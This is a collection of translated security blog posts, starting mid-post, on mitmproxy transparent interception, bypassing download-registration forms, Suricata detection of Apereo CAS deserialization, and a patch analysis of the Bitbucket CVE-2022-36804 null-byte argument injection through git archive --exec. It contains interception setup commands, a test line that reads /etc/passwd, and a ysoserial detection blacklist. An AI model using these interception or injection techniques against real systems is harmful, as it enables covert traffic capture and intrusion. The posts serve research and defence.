verify its functionality. A well-known resource frequently used for this kind of testing is\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.testmyids.com/\"\u003ehttp://www.testmyids.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis website is designed for security professionals, aiming to help them assess whether their IDS can accurately identify and raise alerts on potentially malicious activity or non-compliant network requests.\u003c/p\u003e","title":"[SOC] Traffic Protection Effectiveness: How to Verify Whether Your Internal Network IDS Is Working Properly"},{"content":"Tutorial reference\nhttps://blog.csdn.net/zhuxian1277/article/details/111875951 Use Case mitmproxy is a powerful man-in-the-middle proxy tool that lets you intercept, view, and modify traffic between clients and servers. Its transparent proxy mode makes mitmproxy extremely useful in specific scenarios, especially when network traffic needs to be analyzed or tested without changing any settings on the target device.\nNo proxy configuration needed: Unlike Burp Suite, mitmproxy in transparent mode does not require manually setting an HTTP or HTTPS proxy on the target machine. This means the end user or test subject will not notice the proxy\u0026rsquo;s presence, reducing the chance of human intervention. Certificate installation: Although no proxy configuration is required in transparent mode, to intercept and decrypt HTTPS traffic you still need to install mitmproxy\u0026rsquo;s root certificate on the target machine. This is similar to Burp Suite, since both must handle the SSL/TLS handshake to view encrypted traffic. Via MitmWeb, you can view captured packets locally; in terms of usage it is not much different from Burp. Common Commands Replace resources\nmitmproxy --mode reverse:http://xxxx:8888/ -p 8888 -k --map-remote \u0026#34;|https://xxxx:9201|- http://10.100.15.44:8888 Replace the body\nmitmproxy --mode reverse:http://xxxx:2881/ -p 2881 -k \\ --modify-body \u0026#39;/13883797080/13866667080\u0026#39; \\ --modify-body \u0026#39;/17784081010/17766661010\u0026#39; \\ --modify-body \u0026#39;/13983240380/13966660380\u0026#39; Gateway Machine kali\n192.168.1.12\nNetwork Configuration Kernel Forwarding # Enable kernel routing forwarding sysctl -w net.ipv4.ip_forward=1 Using any of the above methods will not make the change persistent. To ensure the new setting survives a reboot, you need to edit the /etc/sysctl.conf file.\nvim /etc/sysctl.conf\nAdd one of the following lines to the bottom of the file, depending on whether you want to turn Linux IP forwarding off or on. Then, save the changes to this file. The setting will be permanent across reboots.\nnet.ipv4.ip_forward = 0 OR net.ipv4.ip_forward = 1 After editing the file, you can run the following command to apply the changes immediately.\nsysctl -p iptables Forwarding Only forward traffic on ports 80/443\n# Redirect all TCP traffic arriving on ports 80 and 443 to mitmproxy\u0026#39;s port (assuming mitmproxy runs on port 8080) sudo iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 8080 sudo iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 443 -j REDIRECT --to-port 8080 Forward traffic from a specific IP\niptables -t nat -A PREROUTING -i eth1 -p tcp -s 192.168.1.112 -j REDIRECT --to-port 8080 check iptables rules — confirm the rules\niptables -t nat -L -n -v= mitm Recording mitmweb -p 8080 --listen-host 0.0.0.0 --web-port 88 --web-host 0.0.0.0 --mode transparent --showhost Via \u0026ldquo;file\u0026rdquo; in the top-left corner of the web UI, you can save the capture as a flows file for later use mitm server-side replay Simulate a server side and replay the requests just captured\nAnother powerful feature of mitmproxy is replaying previous traffic. It supports server-side replay: mitmproxy replays the server responses for requests that match earlier recorded requests.\nThe \u0026lt;font style=\u0026quot;color:rgb(74, 74, 74);\u0026quot;\u0026gt;--server-replay\u0026lt;/font\u0026gt; option lets us replay server responses from a saved HTTP conversation.\nTo do this, we use a set of heuristics to match incoming requests against the saved responses. By default, when matching incoming requests against responses in the replay file, we exclude the request headers and match only on theURL and the request method, which works in most cases and allows replaying server responses when request headers naturally vary, for example with different user agents. itmweb -p 8080 --listen-host 0.0.0.0 --web-port 88 --web-host 0.0.0.0 --mode transparent --showhost \\ --server-replay-refresh \\ --server-replay-nopop \\ --server-replay-kill-extra \\ --set server_replay_ignore_content=true \\ --server-replay ./PrivateServer-Mock-2.flows Option explanation\nServer Replay:\n-server-replay PATH, -S PATH Replay server responses from a saved file. Can be passed multiple times. ** \u0026ndash;server-replay-kill-extra**** \u0026ndash;no-server-replay-kill-extra** During replay, if no replayable response is found, kill the extra requests ** \u0026ndash;server-replay-nopop** \u0026ndash;no-server-replay-nopop After replaying a response, do not remove that flow from the server; enable this if you need to replay the same response multiple times.The meaning of this pair of options is a bit convoluted — a double negative. ** \u0026ndash;server-replay-refresh** \u0026ndash;no-server-replay-refresh During replay, automatically adjust the date, expires, and last-modified headers in the response, and adjust cookie expiration times \u0026ndash;set server_replay_ignore_content=true Sets server_replay_ignore_content, which stops the body from being used as the basis for replay matching — only the HTTP method + URL are consideredAfterword: how did I find out this option exists?+ `mitmweb \u0026ndash;options Target Device Install the Certificate On the device whose traffic you want to capture, configure the gateway, then visit http://mitm.it/ to install the certificate file and trust it\nChange the default gateway: Open \u0026ldquo;Network and Sharing Center\u0026rdquo;.\nClick \u0026ldquo;Change adapter settings\u0026rdquo;.\nRight-click the network adapter you are using and select \u0026ldquo;Properties\u0026rdquo;.\nDouble-click \u0026ldquo;Internet Protocol Version 4 (TCP/IPv4)\u0026rdquo;.\nSelect \u0026ldquo;Use the following IP address\u0026rdquo; and fill in the corresponding IP information. In the \u0026ldquo;Default gateway\u0026rdquo; field, enter the IP address of your Kali Linux machine.\nInstall the mitmproxy certificate: Obtain the root certificate from mitmproxy. Usually you can visit http://mitm.it to download the certificate.\nInstall the certificate on Windows: double-click the certificate file, select \u0026ldquo;Install Certificate\u0026rdquo;, and follow the prompts to install it.\nAfter completing the steps above, all HTTP and HTTPS traffic on your Windows machine will be forwarded and analyzed through mitmproxy on the Kali Linux machine. Remember to restore the Windows network settings to their original state once you finish capture and analysis.\n","permalink":"https://www.unc.la/en/posts/penetration/lsqvp3qo4b2z8ro6/","summary":"\u003cp\u003eTutorial reference\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://blog.csdn.net/zhuxian1277/article/details/111875951\"\u003ehttps://blog.csdn.net/zhuxian1277/article/details/111875951\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"use-case\"\u003eUse Case\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cfont style=\"color:rgb(44, 44, 54);\"\u003emitmproxy\u003c/font\u003e\u003c/strong\u003e\u003cfont style=\"color:rgb(44, 44, 54);\"\u003e is a powerful man-in-the-middle proxy tool that lets you intercept, view, and modify traffic between clients and servers. Its transparent proxy mode makes mitmproxy extremely useful in specific scenarios, especially when network traffic needs to be analyzed or tested without changing any settings on the target device.\u003c/font\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003cfont style=\"color:rgb(44, 44, 54);\"\u003eNo proxy configuration needed\u003c/font\u003e\u003c/strong\u003e\u003cfont style=\"color:rgb(44, 44, 54);\"\u003e: Unlike Burp Suite, mitmproxy in transparent mode does not require manually setting an HTTP or HTTPS proxy on the target machine. This means the end user or test subject will not notice the proxy\u0026rsquo;s presence, reducing the chance of human intervention.\u003c/font\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003cfont style=\"color:rgb(44, 44, 54);\"\u003eCertificate installation\u003c/font\u003e\u003c/strong\u003e\u003cfont style=\"color:rgb(44, 44, 54);\"\u003e: Although no proxy configuration is required in transparent mode, to intercept and decrypt HTTPS traffic you still need to install mitmproxy\u0026rsquo;s root certificate on the target machine. This is similar to Burp Suite, since both must handle the SSL/TLS handshake to view encrypted traffic.\u003c/font\u003e\u003c/li\u003e\n\u003cli\u003e\u003cfont style=\"color:rgb(44, 44, 54);\"\u003eVia MitmWeb, you can view captured packets locally; in terms of usage it is not much different from Burp.\u003c/font\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"mitmweb\" loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2024/png/166008/1734491587977-7e5e72eb-8876-42f3-9d76-c20ff914b72d.png\"\u003e\u003c/p\u003e","title":"Stable Packet Capture: Intercepting Traffic from Various Devices via a Transparent Proxy (mitmproxy Usage)"},{"content":"Some things, once you know them, you will never be \u0026ldquo;fooled\u0026rdquo; by them a second time.\ncheat on me? I remember the first time I tried to download a whitepaper from a security vendor\u0026rsquo;s website, and a form popped up: \u0026ldquo;Please fill in your name, phone number, email, and company name before downloading.\u0026rdquo;\nI did as asked, even going so far as to use a throwaway email address.\nI clicked \u0026ldquo;Submit\u0026rdquo;, the button changed to \u0026ldquo;Click to download\u0026rdquo;.\nPDF started downloading automatically.\nBut something still felt off to me.\nWas this \u0026ldquo;submission\u0026rdquo; really necessary?\nCould it be—\nthe download link had been there all along,\nhidden by nothing more than a few front-end tricks?\nOpened F12, searched for .pdf.\nSure enough, the link was right there in the HTML,\nsometimes even written directly as an \u0026lt;a href=... download\u0026gt;.\nThis instantly made me realize that many \u0026ldquo;restrictions\u0026rdquo; on web pages are really just front-end visual design. In other words, they are \u0026ldquo;a show put on for the user\u0026rdquo;.\ngo further At its core, this gave me a practical, general-purpose routine:\nWhen you encounter prompts on a web page like \u0026ldquo;register to download the material\u0026rdquo; or \u0026ldquo;fill out this survey to unlock such-and-such document\u0026rdquo;, start investigating first\nPress F12 to open the developer tools (or Ctrl+Shift+C to activate the element picker); In the Elements or Sources tab, search for keywords like **.pdf**, **.docx**, **.xls**; Often you will see the download link directly (sometimes it\u0026rsquo;s a full URL, sometimes it may be hidden in JS); Copy the link, download it directly, write a regex for it, and you can even process them in bulk! Copy it down,\ndownload it directly,\nall in one smooth motion.\nscale up Can this idea be pushed further? For example:\nIs there a way to automatically identify all resource links in a web page for me? Could I skip opening F12 and manually searching, and instead get automatically notified that \u0026ldquo;a document download link was found on this page\u0026rdquo;? Of course.\nHave you used Quark Browser on your phone?\nIt has a \u0026ldquo;resource sniffing\u0026rdquo; feature that automatically identifies audio, video, and file resources in a page and downloads them with one click.\nThe logic behind it is simply scanning all URLs loaded by the page and filtering them by file extension.\nOn PC, we can write our own Tampermonkey script, or use an existing Chrome extension, to implement similar sniffing functionality.\nThe general idea: listen to network requests, scan the DOM, match keywords, capture valuable resource URLs, and then surface them to the user.\nnothing happens, except tips That said, for me personally, this kind of need is too rare to justify spending time building an extension.\nBut this mindset—\u0026ldquo;first check whether the page is hiding any links\u0026rdquo;—has stayed with me.\nYou will find that even in the most superficial layer of the information age—the medium of the \u0026ldquo;web page\u0026rdquo;—there are still many \u0026ldquo;hidden doors\u0026rdquo; left for those willing to make one extra move and look at the source code once.\nIt\u0026rsquo;s just that most of the time, we are used to following the path the page hands us, and forget that we can find our own way too.\n","permalink":"https://www.unc.la/en/posts/penetration/duil606df7rw03ei/","summary":"\u003cp\u003eSome things, once you know them, you will never be \u0026ldquo;fooled\u0026rdquo; by them a second time.\u003c/p\u003e\n\u003ch1 id=\"cheat-on-me\"\u003echeat on me?\u003c/h1\u003e\n\u003cp\u003eI remember the first time I tried to download a whitepaper from a security vendor\u0026rsquo;s website, and a form popped up: \u0026ldquo;Please fill in your name, phone number, email, and company name before downloading.\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"I want to \u0026ldquo;download\u0026rdquo; the PDF\" loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2025/png/166008/1762655122971-fbbc9d04-c0db-4130-ae24-bb31e0bb72ed.png\"\u003e\u003c/p\u003e\n\u003cp\u003eI did as asked, even going so far as to use a throwaway email address.\u003c/p\u003e","title":"The Form Is a Honeypot, the PDF Is the Real Target: Bypassing Websites That Pretend You Need to Register"},{"content":"1. Attack Characteristics of the Vulnerability The root cause of this vulnerability is the deserialization of untrusted user input, which involves a hardcoded key.\nAn attacker can leverage deserialization gadgets already present on the target machine to perform malicious operations.\nThe traffic characteristics of normal versus malicious requests are described below.\nA normal login request. Request\nexecution length: 1121\nResponse\nStatus code: 200\nResponse length: 7287\nMalicious exploitation - no response echo Request\nexecution length: 2203\nResponse\nStatus code: 500\nResponse length: 1399\nMalicious exploitation - with response echo Request\nexecution length: 3029\nResponse\nStatus code: 200\nResponse length: ~, depends on the command executed\nNormal login request Attack request Metric **** No response echo With response echo HTTP request - execution length 1121 2203 3029 HTTP response status code 200 500 200 (depends on the actual situation) HTTP response length (Content-Length) 7286varies by language (Chinese vs. English) 1399 ~ (depends on the actual situation) 2. NTA Detection Approaches (Suricata) NTA traffic identification determines whether traffic exhibits attack characteristics based on HTTP requests and responses. There are two main approaches.\nApproach 1: Abnormal Session Characteristics Judging from the vulnerability\u0026rsquo;s attack characteristics described in \u0026ldquo;Section 1\u0026rdquo;, attack traffic does differ from normal request traffic in some ways.\nDetection logic:\nFilter for [a specific URI, e.g. /cas/login] + [the POST execution parameter] If the HTTP traffic matches the \u0026ldquo;abnormal session\u0026rdquo; characteristics, treat it as suspected attack traffic. Summary of abnormal session characteristics:\nThe execution length in the HTTP request parameters differs. The execution length of an attack request is larger than that of a normal request, roughly 2x or more. The HTTP response status code differs. The response status code of an attack request differs from that of a normal response; the status code of the exploitation is 500. The HTTP response content differs. In the no-response-echo exploitation scenario, keywords such as \u0026ldquo;error\u0026rdquo; appear in the response body regardless of whether the exploitation succeeds. - Moreover, in the with-response-echo exploitation scenario, the response body may even be missing necessary elements such as the title and CSS. The left side shows the malicious HTTP response Approach 2: Decrypt-then-Detect From the traffic\u0026rsquo;s perspective, exploitation of this vulnerability has no obvious keyword signature, because the exploitation byte stream is AES-encrypted.\nHowever, if you are able to decrypt the value of execution, you can detect attack requests using the default signatures of ysoserial.\nHere is a rough outline of the approach:\nFilter out CAS requests, conditions: [a specific URI, e.g. /cas/login] + [the POST execution parameter] Try to decrypt the value of execution. This goes through URLDecode -\u0026gt; Base64_Decode -\u0026gt; AES_Decode in turn; at this point, in an attack scenario, we obtain a Java byte stream Detect whether this byte stream is malicious, for example via the ysoserial keywords mentioned just now; of course, the blacklist keyword list can be expanded. The reason this works is:\nMost current attack techniques are based on modified versions of the ysoserial tool, whose default class names contain the ysoserial keyword. Therefore, if the decrypted binary stream contains the ysoserial keyword, this can serve as one of the detection indicators. Reference code for detection and decoding: https://github.com/MrMeizhi/ysoserial-mangguogan#saveDecode函数 In addition to a blacklist, the characteristics of normal requests can also serve as a basis for judgment. Normal request data can also be decrypted, and the decrypted result is shown in the figure below, containing keywords such as username and password, which can serve as a whitelist criterion: anything that does not contain these is considered malicious.\nThen the next question arises: how does Suricata decrypt traffic? By consulting the Suricata manual, we found that Suricata supports custom detection logic via Lua scripts.\nSuricata supports Lua scripts. Suricata offers the possibility of obtaining more detailed output on specific types through pluggable Lua scripts for network traffic. You can write these scripts yourself; you only need to define four hook functions.\nFor code implementations, refer to the following materials:\nCase #1: https://www.freebuf.com/sectool/218951.html Case #2: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/decoding-hancitor-malware-with-suricata-and-lua/ Case #3: https://suricon.net/wp-content/uploads/2016/11/SuriCon2016_ChrisWakelin.pdf Official manual: https://docs.suricata.io/en/latest/rules/lua-detection.html#lua-detection Potentially useful encoding/decoding functions: https://github.com/Lyafei/lua-aes https://blog.csdn.net/MakerCloud/article/details/85206565 Additional Recommendations As far as this vulnerability is concerned, it is inherently a component-level vulnerability; upgrading in a timely manner is enough to avoid the security risk. This vulnerability is a deserialization vulnerability; from the web side it is difficult to obtain complete contextual information, so host-based security solutions such as RASP are more suitable. Apereo CAS (Central Authentication Service) is a very important authentication center whose security is critical. Moreover, since it has a small number of assets and relatively lower deployment difficulty, solutions such as RASP are a better fit.\nScreenshot of a certain RASP\u0026rsquo;s detection:\n","permalink":"https://www.unc.la/en/posts/penetration/bisq5a5zs2oarfkk/","summary":"\u003ch1 id=\"1-attack-characteristics-of-the-vulnerability\"\u003e1. Attack Characteristics of the Vulnerability\u003c/h1\u003e\n\u003cp\u003eThe root cause of this vulnerability is the deserialization of untrusted user input, which involves a hardcoded key.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2023/png/166008/1691496731902-020166e5-8872-4178-adfe-0251f20e8534.png\"\u003e\u003c/p\u003e\n\u003cp\u003eAn attacker can leverage deserialization gadgets already present on the target machine to perform malicious operations.\u003c/p\u003e\n\u003cp\u003eThe traffic characteristics of normal versus malicious requests are described below.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eA normal login request.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2023/png/166008/1691496391175-15f1bdf0-393e-4c5f-af63-cd0d79a90550.png\"\u003e\u003c/p\u003e\n\u003cp\u003eRequest\u003c/p\u003e\n\u003cp\u003eexecution length: 1121\u003c/p\u003e\n\u003cp\u003eResponse\u003c/p\u003e\n\u003cp\u003eStatus code: 200\u003c/p\u003e\n\u003cp\u003eResponse length: 7287\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003e\u003cstrong\u003eMalicious exploitation - no response echo\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eRequest\u003c/p\u003e","title":"[SOC] Defending Against Apereo CAS Deserialization Attacks with Suricata"},{"content":"Critical severity command injection vulnerability - CVE-2022-36804 Official advisory: https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html\nLet\u0026rsquo;s diff 8.3.0 vs 8.3.1, and get familiar with the workflow of diffing jar packages in IDEA along the way:\nhttps://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-8.3.0-x64.bin https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-8.3.1-x64.bin Analyzing the patch, two suspicious spots were found:\npatch#1 found bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar!/com/zaxxer/nuprocess/NuProcessBuilder.class\nthe patch#1 is like:\nthis.ensureNoNullCharacters(commands); A new method ensureNoNullCharacters was added\ncommand.indexOf(0): checks whether the command contains the \\u0000 character If it does, an exception is thrown directly: Commands may not contain null characters — you can add this hint value in your PoC private void ensureNoNullCharacters(List\u0026lt;String\u0026gt; commands) { Iterator var2 = commands.iterator(); String command; do { if (!var2.hasNext()) { return; } command = (String)var2.next(); } while(command.indexOf(0) \u0026lt; 0); throw new IllegalArgumentException(\u0026#34;Commands may not contain null characters\u0026#34;); } The full patch is below:\npublic class NuProcessBuilder { private static final NuProcessFactory factory; private final List\u0026lt;String\u0026gt; command; private final TreeMap\u0026lt;String, String\u0026gt; environment; private Path cwd; private NuProcessHandler processListener; public NuProcessBuilder(List\u0026lt;String\u0026gt; commands, Map\u0026lt;String, String\u0026gt; environment) { if (commands != null \u0026amp;\u0026amp; !commands.isEmpty()) { this.ensureNoNullCharacters(commands);\t//patch this.environment = new TreeMap(environment); this.command = new ArrayList(commands); } else { throw new IllegalArgumentException(\u0026#34;List of commands may not be null or empty\u0026#34;); } } public NuProcessBuilder(List\u0026lt;String\u0026gt; commands) { if (commands != null \u0026amp;\u0026amp; !commands.isEmpty()) { this.ensureNoNullCharacters(commands);\t//patch this.environment = new TreeMap(System.getenv()); this.command = new ArrayList(commands); } else { throw new IllegalArgumentException(\u0026#34;List of commands may not be null or empty\u0026#34;); } } public NuProcessBuilder(String... commands) { if (commands != null \u0026amp;\u0026amp; commands.length != 0) { List\u0026lt;String\u0026gt; commandsList = Arrays.asList(commands);\t//patch this.ensureNoNullCharacters(commandsList);\t//patch this.environment = new TreeMap(System.getenv()); this.command = new ArrayList(commandsList); } else { throw new IllegalArgumentException(\u0026#34;List of commands may not be null or empty\u0026#34;); } } patch#2 another patch is at bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/bitbucket-process-8.3.1.jar\nA call was added:\naddIf(NioProcessParameters$Builder::nonNullAndNoNullChar, this.arguments, value); The full text is:\nprivate static boolean nonNullAndNoNullChar(String value) { if (value == null) { return false; } else { requireNoNullChars(value); return true; } } private static void requireNoNullChars(String value) { if (value.indexOf(0) \u0026gt;= 0) { throw new IllegalArgumentException(\u0026#34;Unsupported \\\\0 character detected: \u0026#34; + value); } } private static String requireNonBlankAndNoNullChar(String value, String msg) { requireNonBlank(value, msg); requireNoNullChars(value); return value; } Also, for those who\u0026rsquo;s not familiar with NuProcessBuilder, check: https://github.com/brettwooldridge/NuProcess\nNuProcess is open-source code that makes it easy to execute commands across different operating systems; Bitbucket uses Atlassian\u0026rsquo;s own modified version of it\npublic class NuProcessBuilder { //... static { String factoryClassName = null; String osname = System.getProperty(\u0026#34;os.name\u0026#34;).toLowerCase(); if (!osname.contains(\u0026#34;mac\u0026#34;) \u0026amp;\u0026amp; !osname.contains(\u0026#34;freebsd\u0026#34;)) { if (osname.contains(\u0026#34;win\u0026#34;)) { factoryClassName = \u0026#34;com.zaxxer.nuprocess.windows.WinProcessFactory\u0026#34;; } else if (osname.contains(\u0026#34;linux\u0026#34;)) { factoryClassName = \u0026#34;com.zaxxer.nuprocess.linux.LinProcessFactory\u0026#34;; } else if (osname.contains(\u0026#34;sunos\u0026#34;)) { factoryClassName = \u0026#34;com.zaxxer.nuprocess.solaris.SolProcessFactory\u0026#34;; } } else { factoryClassName = \u0026#34;com.zaxxer.nuprocess.osx.OsxProcessFactory\u0026#34;; } if (factoryClassName == null) { throw new RuntimeException(\u0026#34;Unsupported operating system: \u0026#34; + osname); } else { try { Class\u0026lt;?\u0026gt; forName = Class.forName(factoryClassName); factory = (NuProcessFactory)forName.newInstance(); } catch (Exception var3) { throw new RuntimeException(var3); } } } Following further down, we finally land on NuProcess; the green parts are what the patch added\nAnalysis 1 After analysing the old version of nuprocess, it turns out to be functional updates, not security patch.\nAt first, while analyzing Atlassian\u0026rsquo;s modified nuprocess, I thought there was some security hardening, but it turned out to be just feature updates.\nAnalyzing the related code with the keyword NuProcess, we find:\natlassian-bitbucket-8.3.0-x64/app/WEB-INF/classes/stash-context.xml NuNioProcess NioProcess NioNuProcessHandler exitHandler commandLine NioProcessParameters nonNullAndNoNullChar this.arguments # install The vulnerability likely abuses \\u0000 to perform some kind of bypass — command injection, Null Byte Injection\nOn September 16, 2022, I read the analysis article on Anquanke: \u0026lt;https://www.anquanke.com/post/id/280193\u0026gt;\nThe approach was right, just missing some pieces.\nBitbucket is built in Java and invokes git commands under the hood; the separator is the null byte (0x00) The null byte allows injecting characters and malicious arguments. According to the official disclosure, the vulnerability\u0026rsquo;s effect is that command execution is possible with only read access. By enumerating all the git commands Bitbucket can construct with read-only permissions, one spot was found where arguments can be injected; crafting a malicious URL to visit it results in arbitrary command execution.\nArgument injection\nI tested the relevant payloads and found they never hit my breakpoints, which was puzzling.\nAnalysis 2: It was probably an abuse of the archive module (https://git-scm.com/docs/git-archive), because in git\u0026rsquo;s source code, only archive has a remote argument\nHypothesis The 8.3.0-to-8.3.1 upgrade mainly involves two files:\nbitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar Originally open-sourced on GitHub; the Atlassian dev team did secondary development on it bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/bitbucket-process-8.3.0.jar Basically just wraps some command-execution functions (if anything calls into these functions, there is likely risk) But no call chain was found anywhere globally — only a bean id, with no idea how to trigger it Patch Analysis (1) In bitbucket-process-8.3.0.jar, there are these two patches\naddIf(NioProcessParameters$Builder::nonNullAndNoNullChar, this.arguments, value); The function definitions are below; they simply check for \\u0000 — why check for NULL though?\nprivate static boolean nonNullAndNoNullChar(String value) { if (value == null) { return false; } else { requireNoNullChars(value); return true; } } private static void requireNoNullChars(String value) { if (value.indexOf(0) \u0026gt;= 0) { throw new IllegalArgumentException(\u0026#34;Unsupported \\\\0 character detected: \u0026#34; + value); } } private static String requireNonBlankAndNoNullChar(String value, String msg) { requireNonBlank(value, msg); requireNoNullChars(value); return value; } (2) The patch for nuprocess-2.0.2-atlassian-3.jar\nIt adds the ensureNoNullCharacters validation,\npublic class NuProcessBuilder { private static final NuProcessFactory factory; private final List\u0026lt;String\u0026gt; command; private final TreeMap\u0026lt;String, String\u0026gt; environment; private Path cwd; private NuProcessHandler processListener; public NuProcessBuilder(List\u0026lt;String\u0026gt; commands, Map\u0026lt;String, String\u0026gt; environment) { if (commands != null \u0026amp;\u0026amp; !commands.isEmpty()) { this.ensureNoNullCharacters(commands);\t//patch this.environment = new TreeMap(environment); this.command = new ArrayList(commands); } else { throw new IllegalArgumentException(\u0026#34;List of commands may not be null or empty\u0026#34;); } } public NuProcessBuilder(List\u0026lt;String\u0026gt; commands) { if (commands != null \u0026amp;\u0026amp; !commands.isEmpty()) { this.ensureNoNullCharacters(commands);\t//patch this.environment = new TreeMap(System.getenv()); this.command = new ArrayList(commands); } else { throw new IllegalArgumentException(\u0026#34;List of commands may not be null or empty\u0026#34;); } } public NuProcessBuilder(String... commands) { if (commands != null \u0026amp;\u0026amp; commands.length != 0) { List\u0026lt;String\u0026gt; commandsList = Arrays.asList(commands);\t//patch this.ensureNoNullCharacters(commandsList);\t//patch this.environment = new TreeMap(System.getenv()); this.command = new ArrayList(commandsList); } else { throw new IllegalArgumentException(\u0026#34;List of commands may not be null or empty\u0026#34;); } } The function\u0026rsquo;s role is still to validate that no NULL characters are present.\nprivate void ensureNoNullCharacters(List\u0026lt;String\u0026gt; commands) { Iterator var2 = commands.iterator(); String command; do { if (!var2.hasNext()) { return; } command = (String)var2.next(); } while(command.indexOf(0) \u0026lt; 0); throw new IllegalArgumentException(\u0026#34;Commands may not contain null characters\u0026#34;); } So why all this heavy validation of NULL characters?\nA preliminary guess: the attacker calls a command-execution function in some way, possibly via:\nArbitrary object instantiation (similar to the Spring-Core deserialization, changing some important variable; but historically only port 7995 had a deserialization issue, never the HTTP port) Some obscure feature, for example the pile of old scm functionality — I didn\u0026rsquo;t follow up on it, but judging from historical write-ups, it may be promising. Then NULL bytes are used to bypass some restriction?? Let the imagination run wild..\nFor now:\nNo call site for the command execution has been found Hindsight After getting nowhere analyzing the Anquanke article, a real PoC finally appeared on GitHub (https://github.com/notxesh/CVE-2022-36804-PoC/blob/main/CVE-2022-36804.py).\nLet\u0026rsquo;s trace the vulnerability\u0026rsquo;s call stack and analyze the cause.\nFirst, figure out what type of vulnerability this is — argument injection.\n::::color1 In the**git archive**command, a null character is used to inject the**--exec**option, thereby executing arbitrary commands.\n::::\n::::danger To fully reproduce this vulnerability, a few questions must first be answered:\nWhy %00? Why can only options be injected, instead of direct command injection with \u0026amp;\u0026amp;, ||, and the like? Why git archive? ::::\n(1) Why %00 The flip side of this question is: why can %00 inject arguments while the commonly used space %20 cannot.\nTesting under bash, the null character turns out to be ignored by bash.\nSo the null character is not a default delimiter in bash.\n$ printf \u0026#34;cat\\\\x00/etc/passwd\u0026#34; |sh sh: line 1: cat/etc/passwd: No such file or directory So let\u0026rsquo;s backtrack: how does the Bitbucket backend concatenate git commands? Looking back at the Anquanke article, it mentions the key function Bitbucket uses to build the command:\nimport java.util.*; import java.lang.*; import java.util.ArrayList; import java.util.Arrays; public class check_null { public static void main(String xyz[]) { String[] stringArray = new String[]{\u0026#34;git\u0026#34;, \u0026#34;archive\u0026#34;, \u0026#34;Hello\\u0000World!\u0026#34;, \u0026#34;-- \u0026#34;}; List\u0026lt;String\u0026gt; command = new ArrayList(Arrays.asList(stringArray)); String[] cmdarray = (String[])command.toArray(new String[0]); byte[][] args = new byte[cmdarray.length - 1][]; System.out.println( args ); int size = args.length; // Take the git command array arguments, from index 1 onward, and store them into args[][] for(int i = 0; i \u0026lt; args.length; ++i) { args[i] = cmdarray[i + 1].getBytes(); size += args[i].length; } // The byte array argBlock that ultimately stores the arguments byte[] argBlock = new byte[size]; int i = 0; byte[][] var9 = args; int var10 = args.length; for(int var11 = 0; var11 \u0026lt; var10; ++var11) { byte[] arg = var9[var11]; // Use system.arraycopy to copy the arg[][] two-dimensional array into argBlock System.arraycopy(arg, 0, argBlock, i, arg.length); i += arg.length + 1; } System.out.println(args); System.out.println(argBlock); } } As you can see, the input is a command array and the return value is an argument list. Through this processing, the NUL character inside our Hello\\u0000World! sneaks its way into the argument list, as illustrated below:\n# input {\u0026#34;git\u0026#34;, \u0026#34;archive\u0026#34;, \u0026#34;Hello\\u0000World!\u0026#34;, \u0026#34;-- \u0026#34;}; # output [a, r, c, h, i, v, e, \u0026lt;NUL\u0026gt;, H, e, l, l, o, \u0026lt;NUL\u0026gt;, W, o, r, l, d, !, \u0026lt;NUL\u0026gt;, -, -, , \u0026lt;NUL\u0026gt;] == {\u0026#39;archive\u0026#39;, \u0026#39;Hello\u0026#39;, \u0026#39;World!\u0026#39;, \u0026#39;--\u0026#39; } So now we have achieved argument injection.\n(2) Why argument injection only, not command injection Similarly, the command gets parsed into arg_list, an argument list, so we can add arguments by injecting null bytes.\nBut we cannot change the execution order, nor perform command injection by adding logical operators.\nCommon sense: with {\u0026quot;git\u0026quot;, \u0026quot;--prefix=\u0026lt;INJECT\u0026gt;\u0026quot;}, even if \u0026lt;INJECT\u0026gt; is controllable, you still cannot inject other commands. That\u0026rsquo;s because the entity executing the command is git at this point, not some other executable. All content of the second argument is only ever treated as options to the git command.\nTherefore, we cannot directly use \u0026amp;\u0026amp; or || for injection (changing execution logic/execution order); we can only try to add malicious options.\n(3) Why git archive? Because git archive is accessible unauthenticated — it corresponds to the front-end download feature.\narchive has an --exec option, which can be abused to execute commands.\nEXP https://github.com/notxesh/CVE-2022-36804-PoC/blob/main/CVE-2022-36804.py\n# rce 